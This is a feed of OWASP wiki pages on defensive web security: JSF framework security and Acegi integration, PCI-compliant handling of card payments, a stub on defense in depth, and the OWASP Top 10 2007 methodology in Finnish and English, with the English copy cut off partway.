OWASP - User contributions [en]

Java Server Faces

2013-05-12T18:07:28Z

Shady: fix link

==Status==
Under review 10/3/2008

==Web security.. before you start ==

This document is about security in web applications developed using the Java Server Faces (JSF) framework. The reader should be aware of the meaning of common terms of both JSF (converters, validators, managed beans) and web security (injection etc.)

==JSF Standards and roles==
JavaServer Faces (JSF) is a Java-based Web application framework that implements the Model-View-Controller pattern and simplifies the development of web interfaces for Java EE applications.

In a standard MVC JSF are meant to provide the V (of view) and part of the C (of Control). JSF components can present almost any basic interface model. The framework also provides part of the Control layer including:
* Navigation Handling
* Error Handling
* Action and event Management
* Input validation
* Value conversion
These elements are defined by the JSF standard (JCP 127) so that any attacker will have knowledge of the architecture and life cycle of a JSF based application. JSF does not implement its own security model but instead relies on standard JEE security. This means that both application server security model, JAAS or other ACL implementations can be used with the JSF framework without any integration effort. But Access Control is just one part of security - all aspects should be implemented in a secure manner in order to consider the application itself secure.

==Client-side state saving==
A JSF application can save the state of its components in the client response or on the server. Saving state on the client may be required because some users turn off cookies support, but it can increase response times when connections are slow. Saving state on the server may have the disadvantage of high memory consumption for the user, but it does minimize bandwidth requirements.
Since client-side state saving stores data in the client , it should be used wisely, or not used at all. An attacker that can manipulate a user's data could manage a data tampering or worst, a privilege escalation exploit. Unencrypted data is quite easy to manipulate and most of the client-side saved data are serialized Java objects which can contain a wealth of sensitive data. If you plan to use client-side state saving carefully consider which information you decide to store in the POJO/DTO in order to minimise these risks.
==Components==
===Converters===
Converter could be a source of threat since it converts string in Java objects. An attacker could inject malicious code or tampered data to make the converter itself misbehave and expose protected data. The converter system is not insecure by itself, but conversion, since it is a security touch point for business logic and persistent data, should be handled carefully. Input should '''always''' be validated '''after''' being converted. In JSF lingo you should '''always''' have a validator if a conversion occurs. See next section on how to implement a security aware validator.

===Validators===
Validation is your chance to verify that the input is as expected. This means that the input should be validated both from a domain view and from a security view. If input represents a string that in your domain should be from 10 to 254 characters long, the same string should be validated also to prevent SQL Injection and XSS attacks. Since many security checks are done using dictionary algorithms it's useful to have a validator that implements those checks and extends it to implement your domain validator.
For example:

public class TenToHundredsValidator extends SecureValidator() {
public void validate(...) {

super.validate(...); // Do security checks

domainvalidate(....);
}
}

===ManagedBeans===
Managed beans are the gears of JSF based application. Developers can access FacesContext statically and this is potentially dangerous. This is a common short cut for everything in the JSF layer, but manipulating this data could be harmful. Relying on security principals, and software engineering, is always a good approach.
Calls such as:
FacesContext.getCurrentInstance().getExternalContext().getRequestParameter("name")
are dangerous because the whole validation stack is bypassed. You can read parameters but consider them as tainted input. Use Validators described above also if you are not in the validation phase . Validators are also an effective way to refactor your validation code and to prevent code repetition.
FacesContext also allows access to user principal data; this data could be used to verify if the current user can actually execute the business logic in the managed Bean.
This practice should be adopted in favour of rendering or not the commandLinks that lead to the action of the managed Bean. A structured adoption of an execution based security framework , such as ACEGI (see the Appendix), could be a good enforcement of the security of the managed bean.
===Custom components===
If the use of custom components is required in the application, the security depends on how the components are developed. Third party components should be delivered with a security report and support from the specific vendor or community.
If you develop custom components you should be aware of the same old security issues of web development:
* Do not trust request parameter
* Do not trust cookies
* Always consider that session could be hijacked
Since the component tree is assembled server side it can be trusted so if your custom component needs to read data from a sibling component it should be considered a safe operation although you will have to make assumptions on element names of the tree.

==Implementations==
Since more than one JSF Implementation exists, bugs of the implementation should be first on the security list.

===MyFaces===
There aren't major or critical security bugs registered in the current stable release of MyFaces (1.1.5). Client state saving is still the weak point and should be used wisely. My Faces comes also with a Security Extension (http://wiki.apache.org/myfaces/SecurityContext) that allows to safely and easily retrieve authenticated user details.

The MyFaces resource filter could be a source of threat. It is designed to expose resources from a jar file and could therefore, be considered, potentially dangerous. Note there aren't any claimed security flaws nor exploits in the resource filter, but the nature of this component makes it a good target for attackers. Since all it has to do is serve data it is recommended that a dispatcher be added to the filter mapping element. This should lower the possibility of an attacker successfully manipulating the server request.
For more information see: http://myfaces.apache.org/tomahawk/extensionsFilter.html

There is also an easy way to enable encryption when using ''client save state''

<context-param>
<param-name>org.apache.myfaces.secret</param-name>
<param-value>NzY1NDMyMTA=</param-value>
</context-param>

Supported encryption methods are BlowFish, 3DES, AES and are definde bya a context parameter

<context-param>
<param-name>org.apache.myfaces.algorithm</param-name>
<param-value>Blowfish</param-value>
</context-param>

You can find mre info at http://wiki.apache.org/myfaces/Secure_Your_Application

===SUN Reference Implementation===
Quoting from the documentation:
''There are several ways for a web application to store session state on the client tier. One possible solution is to use Cookies to store the state on the client. However, cookies have limitations in size and are not ideal in cases where you want to store session state on the client. The state that needs to be stored on the client is first serialized into a byte array. This byte array is then encrypted using industrial-strength 3DES with cipher-block-chaining (CBC) and an initialization vector. To make the content tamper-resistant, we then create a message authentication code (using SHA1 algorithm) from the encrypted content and the initialization vector. The initialization vector, the message authentication code, and the encrypted content is then combined in a single byte array. Finally, this resulting byte array is converted into a base64 string which is stored in a hidden FORM field on the client.
This solution is secure because it uses a strong crypto algorithm and also uses a MAC for tamper-resistance. We also generate all the random numbers (for example, to generate the initialization vectors and the password) using the cryptographically-secure SecureRandom class. Note that the encryption keys are NEVER sent to the client or sent on the wire. These keys are used only on the server-side to encrypt and decrypt the state. One challenge is to decide what encryption keys to use. The encryption keys should not be known to the client, but still be associated with the client. We solve this problem by generating these keys from a password that is generated randomly and stored in the HttpSession. This strategy for key generation through password is pluggable in our solution and can be changed if needed.''

===ICE Faces===

Starting from the idea that AJAX on Its Own Doesn't Corrupt Web Security ICE faces implements a component suite with ajax support by maintainig a coninus sync between the dom sent to the browser and a dom representation on the server. javascript is used to send commands to the server and invoke the logic in the java layer. Since dom model and javascript is involved a Javascript debugging tool with value injection or dom injection capability could be of some use in pick locking the app.

As stated in ICEFaces manual " the client is untrusted, SO DON'T TRUST IT!!" : it means that is all ups to the application designer to implement a robust security logic behind the scenes.
In another point of view the developer could focus on implementing server side security since with the server-side-dom architecture the thin client is even thinner.

The component that refresh the two dom , caled IntervalRenderer, uses a persistent ServletRequest stored on the server. Unfortunately, this request does not contain sufficient information to perform the isUserInRole() check.
This kind of check is possible only on stadar render request phase.

To address this, a small amount of integration will be required either between ICEfaces and acegi-security or ICEfaces and the application server. Acegi-security (see appendix one ) is likely preferable as it will be more portable.

==Apendix I==

===ACEGI Integration===

Acegi Security is a powerful, flexible security solution for enterprise software, with a particular emphasis on applications that use Spring. If used in combination with jsf, the managed beans could become more "security aware" since acegi do not only perform authentication but also authorization in business layer. Acegi is a convenient way to manage security in all the layers of our application. This is a valuable thing especially when authorization is strongly coupled with business logic (approval work flows etc).

In order to use a custom JSF-Acegi login we have to provide a valid Security Context (''userName'' and ''password'' are properties of the managed bean)

UsernamePasswordAuthenticationToken authReq = new UsernamePasswordAuthenticationToken(userName, password);
Authentication auth = getAuthenticationManager().authenticate(authReq);
SecurityContext secCtx = SecurityContextHolder.getContext();
secCtx.setAuthentication(auth);

We can override the standard ACEGI navigation with custom, logic driven, navigation reading security context and routing the outcome.

More information can be found at here [http://www.javakaffee.de/blog/2006/07/04/jsfacegi-authentication-with-a-backing-bean/]

ACEGI can be integrated also in the rendering via custom components [http://cagataycivici.wordpress.com/2006/01/19/acegi_jsf_components_hit_the/] which basically wrap the standard ACEGI tag library in JSF components. This conveniently solve the ''stage zero'' of profiling: display or not a widget in the page.

Including a JSF based form for login in a page could be a little tricky, bu using MyFaces tomahawk components it can be done easely.

The form will look like

<%@ taglib uri="http://myfaces.apache.org/tomahawk" prefix="t"%>
<t:inputText id="j_username" forceId="true" value="#{backingBean.customerId}" size="40" maxlength="80"></t:inputText>
<t:inputSecret id="j_password" forceId="true" value="#{backingBean.password}" size="40" maxlength="80" redisplay="true"></t:inputSecret>
<h:commandButton action="login" value="#{messages.page_signon}"/>
<h:messages id="messages" layout="table" globalOnly="true" showSummary="true" showDetail="false"/>

A navigation rule to follow ACEGI requirements

<navigation-rule>
<from-view-id>/login.jsp</from-view-id>
<navigation-case>
<from-outcome>login</from-outcome>
<to-view-id>/j_acegi_security_check.jsp</to-view-id>
</navigation-case>
</navigation-rule>

And finaly ACEGI is told which page do the login

<bean id="formAuthenticationProcessingFilter" class="org.acegisecurity.ui.webapp.AuthenticationProcessingFilter">
<property name="filterProcessesUrl">
<value>/j_acegi_security_check.jsp</value>
</property>
<property name="authenticationFailureUrl">
<value>/login.faces</value>
</property>
...

[[Category:OWASP Java Project]]

Handling E-Commerce Payments

2013-05-12T18:06:28Z

Shady: Further Reading

[[Guide Table of Contents|Development Guide Table of Contents]]
__TOC__

Commerce using the Internet relies solely on trust; users will not use systems that they believe are insecure. This chapter presents best practices compliant with the Payment Card Industry (PCI) guidelines. PCI compliance is mandatory for merchants, third party processors, and service bureaus - not optional.

While this chapter summarizes several key PCI DSS requirements and offers implementation guidelines, it is not a substitute for utilizing the PCI DSS as a baseline.

There are three documents which are useful in this regards.

* PCI DSS 1.1

* PCI Self Assessment Guide - ''The self assessment currently only covers PCI 1.0 requirements - the 1.1 version is forthcoming''

* PCI Security Audit Procedure v.1.1 - ''This is the audit guide utilized by PCI QSA for performing a Level 1 assessment, but the requirements are mandatory for all levels of merchant ''

These documents can be accessed via the Further Reading section at the bottom of this article.

==Objectives ==

This chapter sets out to document methods to:

* Secure Payment Account Number handling

* Minimize fraud from cardholder not present (CNP) transactions

* Maximize privacy and trust for users of e-commerce systems

* Comply with all local laws and PCI (merchant agreement) standards

==Compliance and Laws ==

If you are an e-commerce merchant, you must comply with all your local laws, such as all tax acts, trade practices, Sale of Goods (or similar) acts, lemon laws (as applicable), and so on. You should consult a source of legal advice competent for your jurisdiction to find out what is necessary.

If you are a credit card merchant, you have agreed to the credit card merchant agreements. Typically, these are extremely strict about the amounts of fraud allowed, and the guidelines for “card holder not present” transactions. You must read and follow your agreement.

'''If you do not understand your agreement, you should consult your bank’s merchant support for more information. '''

==PCI Compliance ==

In brief, here are the twelve requirements you are required to use if you are going to handle credit card payments:

{| border=1
|| '''Goal''' || '''Action'''
|-
|| Build and maintain a secure network || Install and maintain a firewall configuration to protect data
|-
|| || Do not use vendor-supplied defaults for system passwords and other security parameters
|-
|| Protect Cardholder Data || Protect stored data
|-
|| || Encrypt transmission of cardholder data and sensitive information across public networks
|-
|| Maintain a Vulnerability Management Program || Use and regularly update anti-virus software
|-
|| || Develop and maintain secure systems and applications
|-
|| Implement Strong Access Control Measures || Restrict access to data by business need-to-know
|-
|| || Assign a unique ID to each person with computer access
|-
|| || Restrict physical access to cardholder data
|-
|| Regularly Monitor and Test Networks || Track and monitor all access to network resources and cardholder data
|-
|| || Regularly test security systems and processes
|-
|| Maintain an Information Security Policy || Maintain a policy that addresses information security
|-
|}

==Handling Credit Cards ==

Every week, we read about yet another business suffering the ultimate humiliation - their entire customer's credit card data stolen... again. What is not stated is that this is often the end of the business (see CardSystems being revoked by Visa and AMEX in the ''Further Reading'' section). Customers hate being forced to replace their credit cards and fax in daily or weekly reversals to their bank’s card services. Besides customer inconvenience, merchants breach their merchant agreement with card issuers if they have insufficient security. No merchant agreement is the death knell for modern Internet enabled businesses.

This section details how you should handle and store payment transactions.

=== Payment Card Handling Best Practices ===

The PCI DSS 1.1 restricts which card data elements can and cannot be stored. While the ultimate guide is the PCI DSS document, card handling best practices are summarized below, along with guidelines for implementing the requirements.

Following is a summary of Payment Card elements which can, and can't be stored:

'''Storage permitted but protection required:'''

PAN (Primary Account Number) -'' Must be stored in unreadable form per PCI DSS 3.4. Strong one way hash, truncation, index tokens and pads with secure storage for pads, or strong cryptography with associated key management processes and procedures are allowed.''

Cardholder Name

Service Code

Expiration Date

''The PAN, at minimum, should not be stored in a readable format.''

There are a number of commercial database encryption vendors with products that perform column and database level encryption. Used properly, these fulfill the 'strong cryptography with associated key management processes and procedures' requirement. Several are listed in the references at the bottom of this page. This type of solution is typically used for recurring transactions.

'''Sensitive authentication data - storage not allowed:'''

Full magnetic stripe

CVC2/CVV2/CID

PIN / PIN Block

===Auth numbers ===

After successfully processing a transaction, you are returned an authorization number. This is unique per transaction and has no intrinsic value of its own. It is safe to store this value, write it to logs, present it to staff, and e-mail to the customer.

===Handling Recurring payments ===

About the only business reason for storing credit card numbers is recurring payments. However, you have several responsibilities if you support recurring payments:

* You must follow the terms of your merchant agreement. Most merchant agreements require you to have original signed standing authorizations from credit card holders. This bit of signed paper will help you if the customer challenges your charges.

* It is best practice to encrypt credit card numbers. This as a mandatory requirement in the PCI guidelines

* Limit the term of the recurring payment to no more than one year, particularly if you have “Card holder not present” (CNP) transactions

* Expunge the credit card details as soon as the agreement is finished

The problem with encryption is that you must be able to decrypt the data later on in the business process. When choosing a method to store cards in an encrypted form, remember there is no reason why the front-end web server needs to be able to decrypt them. Database-layer column or table level encryption is considered best practice.

===Displaying portions of the credit card ===

PCI only allows the presentation of the first six (the BIN) or the last four digits. We strongly urge you to not display the credit card at all if it can be avoided.

There are many reasons why tracing, sending or presenting a credit card number can be handy, but it is not possible to present credit card numbers safely due to several reasons:

* If a large organization has several applications, all with different algorithms to present an identifying portion of the credit card, the card number might be disclosed.

* Sending an email invoice is a low cost method of informing users of charges to their credit cards. However, email is not secure.

* For many workplaces, call center staff traditionally has high employee turnover rates which means credit card info exposed to these employees will quickly spread outside the workplace.

* Logs are not attacked to eliminate evidence, but to obtain additional secrets such as credit card info.

* In countries with relatively few banking institutions, the institutional BIN numbers are limited. Therefore, it is possible to guess workable BIN numbers and thus reconstruct a card number even if most of the card number has been obscured.

Most credit cards consist of 16 digits (although some are 14 or 15 digits, such as Amex):

'''XXXX XXYY YYYY YYYC '''

C is the checksum. X is the BIN number, which refers to the issuing institution. Y is the client's card number.

'''You must not store the CCV, CCV2 and PVV (or PIN Verification Value).''' These are a credit card validation field used by many payment gateways to protect against imprint fraud as the value is on the reverse of the card. Storing this value is not allowed as per sections 3.2.3 and 3.4.

* For online forms, you must use a "password" type field for CCVs to provide some protection against shoulder-surfing. Some browsers cannot tell the difference between this and a login form, and will offer to remember the details. This is not good, because it interrupts the checkout process and many users click "Yes" without thinking and thus violate their card holder agreement. Adding ''autocomplete="off"'' to the form tag will prevent many browsers from doing this.

For these reasons, it is strongly recommended that you do not present the user or your staff with open or obscured credit card numbers. If possible, do not to display any digits of a credit card at all – just the expiration date.

===Patching and maintenance ===

The PCI DSS 6.6 requires that patches are applied within one month of becoming available for any part of your system that stores, processes, or transmits payment card information. Additionally, a formal change management process and patch testing procedure must be in place, utilizing separate development, test, and production environments.

===Reversals ===

There are two potential frauds from reversals: an insider pushing money from the organization's account to a third party, and an outsider who has successfully figured out how to use an automated reversal process to "refund" money which is not owing, for example by using negative numbers.

* Reversals should always be performed by hand, and should be signed off by two distinct employees or groups. This reduces the risk from internal and external fraud.

* It is essential to ensure that all values are within limits, and signing authority is properly assigned.

For example, in Melbourne, Australia in 2001, a trusted staff member used a mobile EFTPOS terminal to siphon off $400,000 from a sporting organization. If the person had been less greedy, she would never have been caught.

It is vital to understand the amount of fraud the organization is willing to tolerate.

===Chargeback ===

A chargeback is a credit card transaction that is billed back to the merchant after the sale has been settled - chargebacks are initiated by the card issuer on behalf of the card holder. Typically, card holder disputes involve product delivery failure or product/service dissatisfaction.

Card issuers and merchant banks take a dim view of merchants with high charge back ratios as it costs them a lot of time and money and might indicate lack of fraud control.

You can take some simple steps to lower your risks. These are:

* Money is not negative. Use strong typing to force zero or positive numbers, and prevent negative numbers.

* In your source code, don't overload a charge function to be a reversal function by allowing negative values.

* Require logging, auditing, and manual authorization for all charge backs and reversals.

* There should be no code on your web site for automating reversals or charge backs.

* Don't ship goods until you have an authorization receipt from the payment gateway.

* The overwhelming majority of credit cards have a strong relationship between BIN numbers and the issuing institution's country. Strongly consider not shipping goods to out-of-country BIN cards.

* For high value goods, consider making the payment with an over-the-phone or fax authorized process.

Some customers will try charge backs one time too many. Keep tabs on customers who charge back, and decide if they present excessive risk.

Always ask for the customer's email as well as the phone number that the issuing institution has for the customer. This helps if other red flags pop up.

Attackers look for soft targets. Make it known on your website that you prosecute fraud to the fullest extent of the law and all transactions are fully logged.

==Further Reading ==

* AMEX, Visa, Mastercard, Discover, JCB, Diner’s Club – Payment Card Industry

Payment Card Industry (PCI) Data Security Standards council

https://www.pcisecuritystandards.org

PCI DSS Documents Library

https://www.pcisecuritystandards.org/security_standards/documents.php

* Commercial database encryption products

Application Security Inc. DBEncrypt - http://www.appsecinc.com/products/dbencrypt/index.shtml

* News Articles: TJX Data Breach

http://www.securityfocus.com/news/11438

http://www.eweek.com/article2/0,1895,2106322,00.asp

* News Article: Visa and AMEX revoke CardSystems for PCI breaches:

http://www.theregister.co.uk/2005/07/19/cardsystems/

==Reference==
[[Guide Table of Contents|Development Guide Table of Contents]]
[[Category:OWASP_Guide_Project]]

Defense in depth

2013-05-12T18:02:39Z

Shady: link works

{{Template:Principle}}

{{Template:Stub}}
 
[[Category:OWASP ASDR Project]]

==Description==

The principle of defense-in-depth is that layered security mechanisms increase security of the system as a whole. If an attack causes one security mechanism to fail, other mechanisms may still provide the necessary security to protect the system. For example, it is not a good idea to totally rely on a firewall to provide security for an internal-use-only application, as firewalls can usually be circumvented by a determined attacker (even if it requires a physical attack or a social engineering attack of some sort). Other security mechanisms should be added to complement the protection that a firewall affords (e.g., surveillance cameras, and security awareness training) that address different attack vectors.

Implementing a defense-in-depth strategy can add to the complexity of an application, which runs counter to the “simplicity” principle often practiced in security. That is, one could argue that adding new protection functionality adds additional complexity that might bring new risks with it. The total risk to the system needs to be weighed. For example, an application with username/password-based authentication may not benefit from increasing the required password length from eight characters to 15 characters as the added complexity may result in users writing their passwords down, thus decreasing the overall security to the system; however, adding a smart-card requirement to authenticate to the application would enhance the security of the application by adding a complementary layer to the authentication process.

==Examples==

===Vulnerable Administrative Interface===
:A failed authentication control to the [[Administrative Interface]] is unlikely to be enable to anonymous attack on the system as a whole if it correctly gates access to production management networks, checks for administrative user authorization, and logs all access.

==Related [[Vulnerabilities]]==
TBD

==Related [[Controls]]==

The Principle of Defense-in-Depth does not relate to a particular control or subset of controls. It is a design principle to guide the selection of controls for an application to ensure its resilience against different forms of attack, and to reduce the probability of a single-point of failure in the security of the system.

==References==

* [http://www.nsa.gov/ia/_files/support/defenseindepth.pdf National Security Agency Defense In Depth Guide]
* [[CLASP Security Principles]]

[[Category:Principle]]

Top 10 2007-Methodology-Finnish

2013-05-12T17:53:27Z

Shady: Biases

{{Top_10_2007:TopTemplate|usenext=NextLink|next=-Cross Site Scripting-Finnish|useprev=PrevLink|prev=|usemain=MainLink|main=_Finnish}}

Our methodology for the Top 10 2007 was simple: take the [http://cwe.mitre.org/documents/vuln-trends.html MITRE Vulnerability Trends for 2006], and distill the Top 10 ''web application security ''issues. The ranked results are as follows:

'''[[Image:Top_10_2007-MitreDataChart.gif|thumb|650px|center|<div align="center">(Click chart to view full-size version)</div>]]'''

'''<center>Figure 2: MITRE data on Top 10 web application vulnerabilities for 2006</center>'''

Although we tried to preserve a one to one mapping of MITRE raw vulnerability data to our section headings, we have deliberately changed some of the later categories to more closely map to root causes. If you are interested in the final 2006 data from MITRE, we have included an Excel worksheet on the OWASP Top 10 web site.

All of the protection recommendations provide solutions for the three most prevalent web application frameworks: Java EE, ASP.NET, and PHP. Other common web application frameworks, such as Ruby on Rails or Perl can easily adapt the recommendations to suit their specific needs.

== Why we have dropped some important issues ==

'''Unvalidated input''' is a major challenge for any development team, and is at the root of many application security problems. In fact, many of the other items in the list recommend validating input as a part of the solution. We still strongly recommend creating a centralized input validation mechanism as a part of your web applications. For more information, read the following data validation articles at OWASP:

*[http://www.owasp.org/index.php/Data_Validation http://www.owasp.org/index.php/Data_Validation]
*[http://www.owasp.org/index.php/Testing_for_Data_Validation http://www.owasp.org/index.php/Testing_for_Data_Validation]
'''Buffer overflows, integer overflows and format string issues''' are extremely serious vulnerabilities for programs written in languages such as C or C++. Remediation for these issues is covered by the traditional non-web application security community, such as SANS, CERT, and programming language tool vendors. If your code is written in a language that is likely to suffer buffer overflows, we encourage you to read the buffer overflow content on OWASP:

*[http://www.owasp.org/index.php/Buffer_overflow http://www.owasp.org/index.php/Buffer_overflow]
*[http://www.owasp.org/index.php/Testing_for_Buffer_Overflow http://www.owasp.org/index.php/Testing_for_Buffer_Overflow]
'''Denial of service''' is a serious attack that can affect any site written in any language. The ranking of DoS by MITRE is insufficient to make the Top 10 this year. If you have concerns about denial of service, you should consult the OWASP site and Testing Guide:

*[http://www.owasp.org/index.php/Category:Denial_of_Service_Attack http://www.owasp.org/index.php/Category:Denial_of_Service_Attack]
*[http://www.owasp.org/index.php/Testing_for_Denial_of_Service http://www.owasp.org/index.php/Testing_for_Denial_of_Service]
'''Insecure configuration management''' affects all systems to some extent, particularly PHP. However, the ranking by MITRE does not allow us to include this issue this year. When deploying your application, you should consult the latest OWASP Development Guide and the OWASP Testing Guide for detailed information regarding secure configuration management and testing:

*[http://www.owasp.org/index.php/Configuration http://www.owasp.org/index.php/Configuration]
*[http://www.owasp.org/index.php/Testing_for_infrastructure_configuration_management http://www.owasp.org/index.php/Testing_for_infrastructure_configuration_management]

== Why we have ADDED some important issues ==

'''Cross Site Request Forgery (CSRF) '''is the major new addition to this edition of the OWASP Top 10. Although raw data ranks it at #36, we believe that it is important enough that applications should start protection efforts today, particularly for high value applications and applications which deal with sensitive data. CSRF is more prevalent than its current ranking would indicate, and it can be highly dangerous.

'''Cryptography''' The insecure uses of cryptography are not the #8 and #9 web application security issues according to the raw MITRE data, but they do represent a root cause of many privacy leaks and compliance issues (particularly with PCI DSS 1.1 compliance).

== Vulnerabilities, not attacks ==

The previous edition of the Top 10 contained a mixture of attacks, vulnerabilities and countermeasures. This time around, we have focused solely on vulnerabilities, although commonly used terminology sometimes combines vulnerabilities and attacks. If organizations use this document to secure their applications, and reduce the risks to their business, it will lead to a direct reduction in the likelihood of:

*'''Phishing attacks''' that can exploit any of these vulnerabilities, particularly XSS, and weak or non-existent authentication or authorization checks ([[Top 10 2007-A1|A1]], [[Top 10 2007-A4|A4]], [[Top 10 2007-A7|A7]], [[Top 10 2007-A10|A10]])
*'''Privacy violations''' from poor validation, business rule and weak authorization checks ([[Top 10 2007-A2|A2]], [[Top 10 2007-A4|A4]], [[Top 10 2007-A6|A6]], [[Top 10 2007-A7|A7]], [[Top 10 2007-A10|A10]])
*'''Identity theft''' through poor or non-existent cryptographic controls ([[Top 10 2007-A8|A8]] and [[Top 10 2007-A9|A9]]), remote file include ([[Top 10 2007-A3|A3]]) and authentication, business rule, and authorization checks ([[Top 10 2007-A4|A4]], [[Top 10 2007-A7|A7]], [[Top 10 2007-A10|A10]])
*'''Systems compromise, data alteration, or data''' destruction attacks via Injections ([[Top 10 2007-A2|A2]]) and remote file include ([[Top 10 2007-A3|A3]])
*'''Financial loss''' through unauthorized transactions and CSRF attacks ([[Top 10 2007-A4|A4]], [[Top 10 2007-A5|A5]], [[Top 10 2007-A7|A7]], [[Top 10 2007-A10|A10]])
*'''Reputation loss''' through exploitation of any of the above vulnerabilities ([[Top 10 2007-A1|A1]] - [[Top 10 2007-A10|A10]])
Once an organization moves away from worrying about reactive controls, and moves forward to proactively reducing risks applicable to their business, they will improve compliance with regulatory regimes, reduce operational costs, and hopefully will have far more robust and secure systems as a result.

== Biases ==
The methodology described above necessarily biases the Top 10 towards discoveries by the security researcher community. This pattern of discovery is similar to the methods of [http://www.zone-h.org/archive actual attack], particularly as it relates to entry-level ("script kiddie") attackers. Protecting your software against the Top 10 will provide a modicum of protection against the most common forms of attack, but far more importantly, help set a course for improving the security of your software.

== Mapping ==

There have been changes to the headings, even where content maps closely to previous content. We no longer use the WAS XML naming scheme as it has not kept up to date with modern vulnerabilities, attacks, and countermeasures. The table below depicts how this edition maps to the Top 10 2004, and the raw MITRE ranking:

{| border='1' cellpadding='2'
!style='background:#FFFF99'|'''<center>OWASP Top 10 2007</center>'''
!style='background:#FFFF99'|'''<center>OWASP Top 10 2004</center>'''
!style='background:#FFFF99'|'''<center>MITRE 2006 Raw Ranking</center>'''
|-

|'''[[Top 10 2007-A1|A1 - Cross Site Scripting (XSS)]]'''
|'''A4 - Cross Site Scripting (XSS)'''
|'''1'''
|-

|'''[[Top 10 2007-A2|A2 - Injection Flaws]]'''
|'''A6 - Injection Flaws'''
|'''2'''
|-

|'''[[Top 10 2007-A3|A3 - Malicious File Execution (NEW)]]'''
|
|'''3'''
|-

|'''[[Top 10 2007-A4|A4 - Insecure Direct Object Reference]]'''
|'''A2 - Broken Access Control (split in 2007 T10)'''
|'''5'''
|-

|'''[[Top 10 2007-A5|A5 - Cross Site Request Forgery (CSRF) (NEW)]]'''
|
|'''36'''
|-

|'''[[Top 10 2007-A6|A6 - Information Leakage and Improper Error Handling]]'''
|'''A7 - Improper Error Handling'''
|'''6'''
|-

|'''[[Top 10 2007-A7|A7 - Broken Authentication and Session Management]]'''
|'''A3 - Broken Authentication and Session Management '''
|'''14'''
|-

|'''[[Top 10 2007-A8|A8 - Insecure Cryptographic Storage]]'''
|'''A8 - Insecure Storage'''
|'''8'''
|-

|'''[[Top 10 2007-A9|A9 - Insecure Communications (NEW)]]'''
|'''Discussed under A10 - Insecure Configuration Management'''
|'''8'''
|-

|'''[[Top 10 2007-A10|A10 - Failure to Restrict URL Access]]'''
|'''A2 - Broken Access Control (split in 2007 T10)'''
|'''14'''
|-

|'''<removed in 2007>'''
|'''A1 - Unvalidated Input'''
|'''7'''
|-

|'''<removed in 2007>'''
|'''A5 - Buffer Overflows'''
|'''4, 8, and 10'''
|-

|'''<removed in 2007>'''
|'''A9 - Denial of Service'''
|'''17'''
|-

|'''<removed in 2007>'''
|'''A10 - Insecure Configuration Management'''
|'''29'''
|}

{{Top_10_2007:BottomTemplate|usenext=NextLink|next=-Cross Site Scripting-Finnish|useprev=PrevLink|prev=|usemain=MainLink|main=_Finnish}}

Top 10 2007-Methodology

2013-05-12T17:53:02Z

Shady: Biases

{{Top_10_2007:TopTemplate|usenext=NextLink|next=-Cross Site Scripting|useprev=PrevLink|prev=|usemain=MainLink|main=}}

Our methodology for the Top 10 2007 was simple: take the [http://cwe.mitre.org/documents/vuln-trends.html MITRE Vulnerability Trends for 2006], and distill the Top 10 ''web application security ''issues. The ranked results are as follows:

'''[[Image:Top_10_2007-MitreDataChart.gif|thumb|650px|center|<div align="center">(Click chart to view full-size version)</div>]]'''

'''<center>Figure 2: MITRE data on Top 10 web application vulnerabilities for 2006</center>'''

Although we tried to preserve a one to one mapping of MITRE raw vulnerability data to our section headings, we have deliberately changed some of the later categories to more closely map to root causes. If you are interested in the final 2006 data from MITRE, we have included an Excel worksheet on the OWASP Top 10 web site.

All of the protection recommendations provide solutions for the three most prevalent web application frameworks: Java EE, ASP.NET, and PHP. Other common web application frameworks, such as Ruby on Rails or Perl can easily adapt the recommendations to suit their specific needs.

== Why we have dropped some important issues ==

'''Unvalidated input''' is a major challenge for any development team, and is at the root of many application security problems. In fact, many of the other items in the list recommend validating input as a part of the solution. We still strongly recommend creating a centralized input validation mechanism as a part of your web applications. For more information, read the following data validation articles at OWASP:

*[http://www.owasp.org/index.php/Data_Validation http://www.owasp.org/index.php/Data_Validation]
*[http://www.owasp.org/index.php/Testing_for_Data_Validation http://www.owasp.org/index.php/Testing_for_Data_Validation]
'''Buffer overflows, integer overflows and format string issues''' are extremely serious vulnerabilities for programs written in languages such as C or C++. Remediation for these issues is covered by the traditional non-web application security community, such as SANS, CERT, and programming language tool vendors. If your code is written in a language that is likely to suffer buffer overflows, we encourage you to read the buffer overflow content on OWASP:

*[http://www.owasp.org/index.php/Buffer_overflow http://www.owasp.org/index.php/Buffer_overflow]
*[http://www.owasp.org/index.php/Testing_for_Buffer_Overflow http://www.owasp.org/index.php/Testing_for_Buffer_Overflow]
'''Denial of service''' is a serious attack that can affect any site written in any language. The ranking of DoS by MITRE is insufficient to make the Top 10 this year. If you have concerns about denial of service, you should consult the OWASP site and Testing Guide:

*[http://www.owasp.org/index.php/Category:Denial_of_Service_Attack http://www.owasp.org/index.php/Category:Denial_of_Service_Attack]
*[http://www.owasp.org/index.php/Testing_for_Denial_of_Service http://www.owasp.org/index.php/Testing_for_Denial_of_Service]
'''Insecure configuration management''' affects all systems to some extent, particularly PHP. However, the ranking by MITRE does not allow us to include this issue this year. When deploying your application, you should consult the latest OWASP Development Guide and the OWASP Testing Guide for detailed information regarding secure configuration management and testing:

*[http://www.owasp.org/index.php/Configuration http://www.owasp.org/index.php/Configuration]
*[http://www.owasp.org/index.php/Testing_for_infrastructure_configuration_management http://www.owasp.org/index.php/Testing_for_infrastructure_configuration_management]

== Why we have ADDED some important issues ==

'''Cross Site Request Forgery (CSRF) '''is the major new addition to this edition of the OWASP Top 10. Although raw data ranks it at #36, we believe that it is important enough that applications should start protection efforts today, particularly for high value applications and applications which deal with sensitive data. CSRF is more prevalent than its current ranking would indicate, and it can be highly dangerous.

'''Cryptography''' The insecure uses of cryptography are not the #8 and #9 web application security issues according to the raw MITRE data, but they do represent a root cause of many privacy leaks and compliance issues (particularly with PCI DSS 1.1 compliance).

== Vulnerabilities, not attacks ==

The previous edition of the Top 10 contained a mixture of attacks, vulnerabilities and countermeasures. This time around, we have focused solely on vulnerabilities, although commonly used terminology sometimes combines vulnerabilities and attacks. If organizations use this document to secure their applications, and reduce the risks to their business, it will lead to a direct reduction in the likelihood of:

*'''Phishing attacks''' that can exploit any of these vulnerabilities, particularly XSS, and weak or non-existent authentication or authorization checks ([[Top 10 2007-A1|A1]], [[Top 10 2007-A4|A4]], [[Top 10 2007-A7|A7]], [[Top 10 2007-A10|A10]])
